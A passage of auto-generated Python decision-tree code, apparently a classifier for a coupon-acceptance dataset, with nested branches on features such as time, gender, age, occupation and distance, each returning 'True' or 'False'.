"Direction_same", "instances": 72, "metric_value": 0.463, "depth": 11} if obj[11]<=0: # {"feature": "Time", "instances": 60, "metric_value": 0.4917, "depth": 12} if obj[1]>0: # {"feature": "Gender", "instances": 49, "metric_value": 0.4975, "depth": 13} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 11, "metric_value": 0.4481, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Time", "instances": 12, "metric_value": 0.2333, "depth": 12} if obj[1]>0: # {"feature": "Gender", "instances": 10, "metric_value": 0.1667, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 13} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 23, "metric_value": 0.3683, "depth": 11} if obj[11]<=0: # {"feature": "Time", "instances": 17, "metric_value": 0.4706, "depth": 12} if obj[1]>0: # {"feature": "Gender", "instances": 16, "metric_value": 0.4667, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Gender", "instances": 51, "metric_value": 0.4321, "depth": 10} if obj[3]<=0: # {"feature": "Time", "instances": 27, "metric_value": 0.4392, "depth": 11} if obj[1]<=1: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.4059, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 12, "metric_value": 0.3714, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Children", "instances": 5, "metric_value": 0.3, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' elif obj[1]>1: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.4, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Time", "instances": 24, "metric_value": 0.3571, "depth": 11} if obj[1]>0: # {"feature": "Direction_same", "instances": 21, "metric_value": 0.381, "depth": 12} if obj[11]<=0: # {"feature": "Children", "instances": 18, "metric_value": 0.4329, "depth": 13} if obj[5]>0: return 'False' elif obj[5]<=0: return 'False' else: return 'False' elif obj[11]>0: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]>3: # {"feature": "Time", "instances": 20, "metric_value": 0.3059, "depth": 9} if obj[1]>0: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.3412, "depth": 10} if obj[11]<=0: # {"feature": "Gender", "instances": 15, "metric_value": 0.2963, "depth": 11} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.1852, "depth": 12} if obj[10]<=0.0: # {"feature": "Children", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[10]>0.0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 6, "metric_value": 0.4444, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[10]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[3]>0: return 'True' elif obj[3]<=0: return 'False' else: return 'False' else: return 'True' elif obj[1]<=0: return 'False' else: return 'False' else: return 'True' elif obj[7]>7.898876404494382: # {"feature": "Direction_same", "instances": 101, "metric_value": 0.443, "depth": 8} if obj[11]<=0: # {"feature": "Children", "instances": 73, "metric_value": 0.4052, "depth": 9} if obj[5]<=0: # {"feature": "Time", "instances": 39, "metric_value": 0.4409, "depth": 10} if obj[1]<=2: # {"feature": "Gender", "instances": 25, "metric_value": 0.3806, "depth": 11} if obj[3]>0: # {"feature": "Education", "instances": 17, "metric_value": 0.4235, "depth": 12} if obj[6]>0: # {"feature": "Restaurant20to50", "instances": 15, "metric_value": 0.4571, "depth": 13} if obj[10]<=0.0: return 'False' elif obj[10]>0.0: return 'True' else: return 'True' elif obj[6]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 8, "metric_value": 0.1667, "depth": 12} if obj[10]<=1.0: return 'False' elif obj[10]>1.0: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[6]>0: return 'True' elif obj[6]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>2: # {"feature": "Education", "instances": 14, "metric_value": 0.3, "depth": 11} if obj[6]>0: # {"feature": "Gender", "instances": 10, "metric_value": 0.3048, "depth": 12} if obj[3]>0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.2143, "depth": 13} if obj[10]<=0.0: return 'False' elif obj[10]>0.0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[10]<=1.0: return 'False' elif obj[10]>1.0: return 'True' else: return 'True' else: return 'True' elif obj[6]<=0: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Time", "instances": 34, "metric_value": 0.3013, "depth": 10} if obj[1]<=3: # {"feature": "Restaurant20to50", "instances": 27, "metric_value": 0.2326, "depth": 11} if obj[10]<=2.0: # {"feature": "Education", "instances": 25, "metric_value": 0.2, "depth": 12} if obj[6]<=2: # {"feature": "Gender", "instances": 18, "metric_value": 0.2771, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[6]>2: return 'False' else: return 'False' elif obj[10]>2.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[6]<=3: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]>3: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.2143, "depth": 11} if obj[10]<=0.0: # {"feature": "Gender", "instances": 4, "metric_value": 0.25, "depth": 12} if obj[3]<=0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[6]<=1: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' elif obj[10]>0.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Time", "instances": 28, "metric_value": 0.3636, "depth": 9} if obj[1]>0: # {"feature": "Education", "instances": 22, "metric_value": 0.3636, "depth": 10} if obj[6]<=2: # {"feature": "Gender", "instances": 16, "metric_value": 0.2727, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 11, "metric_value": 0.3636, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[10]<=0.0: return 'False' elif obj[10]>0.0: return 'False' else: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[6]>2: return 'False' else: return 'False' elif obj[1]<=0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[4]>5: # {"feature": "Occupation", "instances": 74, "metric_value": 0.3997, "depth": 7} if obj[7]<=11: # {"feature": "Time", "instances": 62, "metric_value": 0.3637, "depth": 8} if obj[1]<=1: # {"feature": "Education", "instances": 42, "metric_value": 0.2961, "depth": 9} if obj[6]>0: # {"feature": "Gender", "instances": 29, "metric_value": 0.2318, "depth": 10} if obj[3]>0: # {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.2946, "depth": 11} if obj[10]<=1.0: # {"feature": "Children", "instances": 14, "metric_value": 0.3333, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 13} if obj[11]>0: return 'False' elif obj[11]<=0: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.25, "depth": 13} if obj[11]<=0: return 'False' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' elif obj[10]>1.0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 13, "metric_value": 0.1231, "depth": 11} if obj[10]<=1.0: return 'False' elif obj[10]>1.0: # {"feature": "Children", "instances": 5, "metric_value": 0.32, "depth": 12} if obj[5]<=1: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.3192, "depth": 10} if obj[11]<=0: # {"feature": "Children", "instances": 8, "metric_value": 0.1667, "depth": 11} if obj[5]<=0: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[3]<=1: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[10]<=0.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.3, "depth": 11} if obj[10]>0.0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 12} if obj[3]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[5]<=0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[10]<=0.0: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[1]>1: # {"feature": "Education", "instances": 20, "metric_value": 0.419, "depth": 9} if obj[6]<=2: # {"feature": "Children", "instances": 14, "metric_value": 0.3673, "depth": 10} if obj[5]>0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.1429, "depth": 11} if obj[10]>0.0: return 'False' elif obj[10]<=0.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.4286, "depth": 11} if obj[10]>0.0: # {"feature": "Gender", "instances": 6, "metric_value": 0.5, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]<=0.0: return 'False' else: return 'False' else: return 'False' elif obj[6]>2: # {"feature": "Children", "instances": 6, "metric_value": 0.2667, "depth": 10} if obj[5]>0: # {"feature": "Gender", "instances": 5, "metric_value": 0.2667, "depth": 11} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[5]<=0: return 'False' else: return 'False' else: return 'True' else: return 'False' elif obj[7]>11: # {"feature": "Restaurant20to50", "instances": 12, "metric_value": 0.419, "depth": 8} if obj[10]>0.0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.381, "depth": 9} if obj[11]<=0: # {"feature": "Education", "instances": 6, "metric_value": 0.3333, "depth": 10} if obj[6]<=1: # {"feature": "Time", "instances": 4, "metric_value": 0.3333, "depth": 11} if obj[1]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[3]<=1: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[5]<=1: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: return 'False' else: return 'False' elif obj[6]>1: return 'False' else: return 'False' elif obj[11]>0: return 'True' else: return 'True' elif obj[10]<=0.0: # {"feature": "Time", "instances": 5, "metric_value": 0.2, "depth": 9} if obj[1]>0: return 'True' elif obj[1]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[5]<=1: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=1: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=1: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' else: return 'False' elif obj[8]>1.0: # {"feature": "Occupation", "instances": 86, "metric_value": 0.3849, "depth": 6} if obj[7]>5: # {"feature": "Gender", "instances": 64, "metric_value": 0.4295, "depth": 7} if obj[3]<=0: # {"feature": "Education", "instances": 55, "metric_value": 0.3958, "depth": 8} if obj[6]<=2: # {"feature": "Direction_same", "instances": 49, "metric_value": 0.3444, "depth": 9} if obj[11]<=0: # {"feature": "Restaurant20to50", "instances": 38, "metric_value": 0.2653, "depth": 10} if obj[10]<=1.0: # {"feature": "Age", "instances": 25, "metric_value": 0.3537, "depth": 11} if obj[4]>0: # {"feature": "Time", "instances": 19, "metric_value": 0.4334, "depth": 12} if obj[1]>0: # {"feature": "Children", "instances": 17, "metric_value": 0.4777, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' elif obj[4]<=0: return 'False' else: return 'False' elif obj[10]>1.0: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Time", "instances": 11, "metric_value": 0.297, "depth": 10} if obj[1]<=0: # {"feature": "Age", "instances": 6, "metric_value": 0.1667, "depth": 11} if obj[4]>0: return 'True' elif obj[4]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[5]<=0: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' elif obj[1]>0: # {"feature": "Age", "instances": 5, "metric_value": 0.2, "depth": 11} if obj[4]>0: return 'False' elif obj[4]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=0.0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' else: return 'True' elif obj[6]>2: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2667, "depth": 9} if obj[11]<=0: # {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 10} if obj[1]<=1: # {"feature": "Age", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[4]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[10]<=1.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>1: return 'True' else: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'True' elif obj[3]>0: # {"feature": "Education", "instances": 9, "metric_value": 0.3333, "depth": 8} if obj[6]<=0: # {"feature": "Time", "instances": 8, "metric_value": 0.3333, "depth": 9} if obj[1]<=2: # {"feature": "Children", "instances": 6, "metric_value": 0.2222, "depth": 10} if obj[5]<=0: return 'True' elif obj[5]>0: # {"feature": "Age", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[4]<=1: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[1]>2: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 10} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' elif obj[6]>0: return 'False' else: return 'False' else: return 'True' elif obj[7]<=5: # {"feature": "Time", "instances": 22, "metric_value": 0.0909, "depth": 7} if obj[1]>0: return 'False' elif obj[1]<=0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 8} if obj[3]<=0: # {"feature": "Education", "instances": 3, "metric_value": 0.0, "depth": 9} if obj[6]>0: return 'False' elif obj[6]<=0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[0]>1: # {"feature": "Distance", "instances": 527, "metric_value": 0.4617, "depth": 4} if obj[12]>1: # {"feature": "Bar", "instances": 356, "metric_value": 0.4414, "depth": 5} if obj[8]<=2.0: # {"feature": "Time", "instances": 323, "metric_value": 0.4297, "depth": 6} if obj[1]>0: # {"feature": "Age", "instances": 252, "metric_value": 0.4492, "depth": 7} if obj[4]>1: # {"feature": "Occupation", "instances": 178, "metric_value": 0.4665, "depth": 8} if obj[7]<=16: # {"feature": "Gender", "instances": 164, "metric_value": 0.4816, "depth": 9} if obj[3]>0: # {"feature": "Restaurant20to50", "instances": 83, "metric_value": 0.4907, "depth": 10} if obj[10]>0.0: # {"feature": "Education", "instances": 59, "metric_value": 0.4734, "depth": 11} if obj[6]<=3: # {"feature": "Children", "instances": 53, "metric_value": 0.4936, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 37, "metric_value": 0.4909, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[6]>3: # {"feature": "Children", "instances": 6, "metric_value": 0.0, "depth": 12} if obj[5]<=0: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'True' elif obj[10]<=0.0: # {"feature": "Education", "instances": 24, "metric_value": 0.4127, "depth": 11} if obj[6]>0: # {"feature": "Children", "instances": 21, "metric_value": 0.4505, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.497, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: return 'True' else: return 'True' else: return 'False' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 81, "metric_value": 0.4567, "depth": 10} if obj[10]<=1.0: # {"feature": "Education", "instances": 64, "metric_value": 0.4742, "depth": 11} if obj[6]<=1: # {"feature": "Children", "instances": 37, "metric_value": 0.4556, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 28, "metric_value": 0.4592, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[6]>1: # {"feature": "Children", "instances": 27, "metric_value": 0.4937, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.4922, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 11, "metric_value": 0.4959, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[10]>1.0: # {"feature": "Children", "instances": 17, "metric_value": 0.3252, "depth": 11} if obj[5]>0: # {"feature": "Education", "instances": 9, "metric_value": 0.1905, "depth": 12} if obj[6]>0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.2449, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[6]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Education", "instances": 8, "metric_value": 0.4688, "depth": 12} if obj[6]<=2: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.4688, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>16: # {"feature": "Education", "instances": 14, "metric_value": 0.2143, "depth": 9} if obj[6]<=0: # {"feature": "Children", "instances": 8, "metric_value": 0.3, "depth": 10} if obj[5]>0: # {"feature": "Gender", "instances": 5, "metric_value": 0.48, "depth": 11} if obj[3]<=1: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[6]>0: return 'True' else: return 'True' else: return 'True' elif obj[4]<=1: # {"feature": "Occupation", "instances": 74, "metric_value": 0.3665, "depth": 8} if obj[7]<=22: # {"feature": "Restaurant20to50", "instances": 73, "metric_value": 0.3587, "depth": 9} if obj[10]>-1.0: # {"feature": "Education", "instances": 66, "metric_value": 0.3934, "depth": 10} if obj[6]>1: # {"feature": "Gender", "instances": 43, "metric_value": 0.4059, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 32, "metric_value": 0.3744, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 23, "metric_value": 0.3856, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 9, "metric_value": 0.3457, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 11, "metric_value": 0.3879, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]<=1: # {"feature": "Gender", "instances": 23, "metric_value": 0.3401, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 18, "metric_value": 0.3333, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]<=-1.0: return 'True' else: return 'True' elif obj[7]>22: return 'False' else: return 'False' else: return 'True' elif obj[1]<=0: # {"feature": "Children", "instances": 71, "metric_value": 0.2679, "depth": 7} if obj[5]>0: # {"feature": "Age", "instances": 41, "metric_value": 0.3777, "depth": 8} if obj[4]<=3: # {"feature": "Restaurant20to50", "instances": 31, "metric_value": 0.4424, "depth": 9} if obj[10]>-1.0: # {"feature": "Occupation", "instances": 28, "metric_value": 0.4762, "depth": 10} if obj[7]>0: # {"feature": "Gender", "instances": 27, "metric_value": 0.4889, "depth": 11} if obj[3]>0: # {"feature": "Education", "instances": 15, "metric_value": 0.4571, "depth": 12} if obj[6]<=2: # {"feature": "Direction_same", "instances": 14, "metric_value": 0.4898, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[6]>2: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Education", "instances": 12, "metric_value": 0.5, "depth": 12} if obj[6]>0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]<=0: return 'True' else: return 'True' elif obj[10]<=-1.0: return 'False' else: return 'False' elif obj[4]>3: return 'True' else: return 'True' elif obj[5]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>2.0: # {"feature": "Children", "instances": 33, "metric_value": 0.4127, "depth": 6} if obj[5]<=0: # {"feature": "Time", "instances": 21, "metric_value": 0.4286, "depth": 7} if obj[1]>0: # {"feature": "Age", "instances": 18, "metric_value": 0.4643, "depth": 8} if obj[4]<=1: # {"feature": "Occupation", "instances": 14, "metric_value": 0.4762, "depth": 9} if obj[7]>2: # {"feature": "Education", "instances": 8, "metric_value": 0.4667, "depth": 10} if obj[6]<=0: # {"feature": "Gender", "instances": 5, "metric_value": 0.48, "depth": 11} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[10]<=0.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]<=2: # {"feature": "Gender", "instances": 6, "metric_value": 0.4444, "depth": 10} if obj[3]>0: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[6]<=4: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[6]<=2: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[4]>1: # {"feature": "Education", "instances": 4, "metric_value": 0.3333, "depth": 9} if obj[6]<=1: # {"feature": "Gender", "instances": 3, "metric_value": 0.4444, "depth": 10} if obj[3]<=0: # {"feature": "Occupation", "instances": 3, "metric_value": 0.4444, "depth": 11} if obj[7]<=18: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]>1: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Age", "instances": 12, "metric_value": 0.2381, "depth": 7} if obj[4]>2: # {"feature": "Time", "instances": 7, "metric_value": 0.381, "depth": 8} if obj[1]>0: # {"feature": "Gender", "instances": 6, "metric_value": 0.4444, "depth": 9} if obj[3]<=0: # {"feature": "Education", "instances": 6, "metric_value": 0.4444, "depth": 10} if obj[6]<=2: # {"feature": "Occupation", "instances": 6, "metric_value": 0.4444, "depth": 11} if obj[7]<=12: # {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.4444, "depth": 12} if obj[10]<=2.0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[1]<=0: return 'False' else: return 'False' elif obj[4]<=2: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[12]<=1: # {"feature": "Occupation", "instances": 171, "metric_value": 0.4644, "depth": 5} if obj[7]>1.3264107549745603: # {"feature": "Age", "instances": 137, "metric_value": 0.4449, "depth": 6} if obj[4]<=2: # {"feature": "Education", "instances": 76, "metric_value": 0.4768, "depth": 7} if obj[6]<=3: # {"feature": "Restaurant20to50", "instances": 67, "metric_value": 0.4602, "depth": 8} if obj[10]>-1.0: # {"feature": "Time", "instances": 59, "metric_value": 0.4807, "depth": 9} if obj[1]<=3: # {"feature": "Children", "instances": 43, "metric_value": 0.4776, "depth": 10} if obj[5]<=0: # {"feature": "Bar", "instances": 27, "metric_value": 0.451, "depth": 11} if obj[8]>0.0: # {"feature": "Gender", "instances": 14, "metric_value": 0.3929, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 12, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]<=0.0: # {"feature": "Gender", "instances": 13, "metric_value": 0.3538, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[5]>0: # {"feature": "Bar", "instances": 16, "metric_value": 0.3, "depth": 11} if obj[8]<=0.0: # {"feature": "Gender", "instances": 10, "metric_value": 0.3167, "depth": 12} if obj[3]<=0: # {"feature": "Direction_same", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>0.0: return 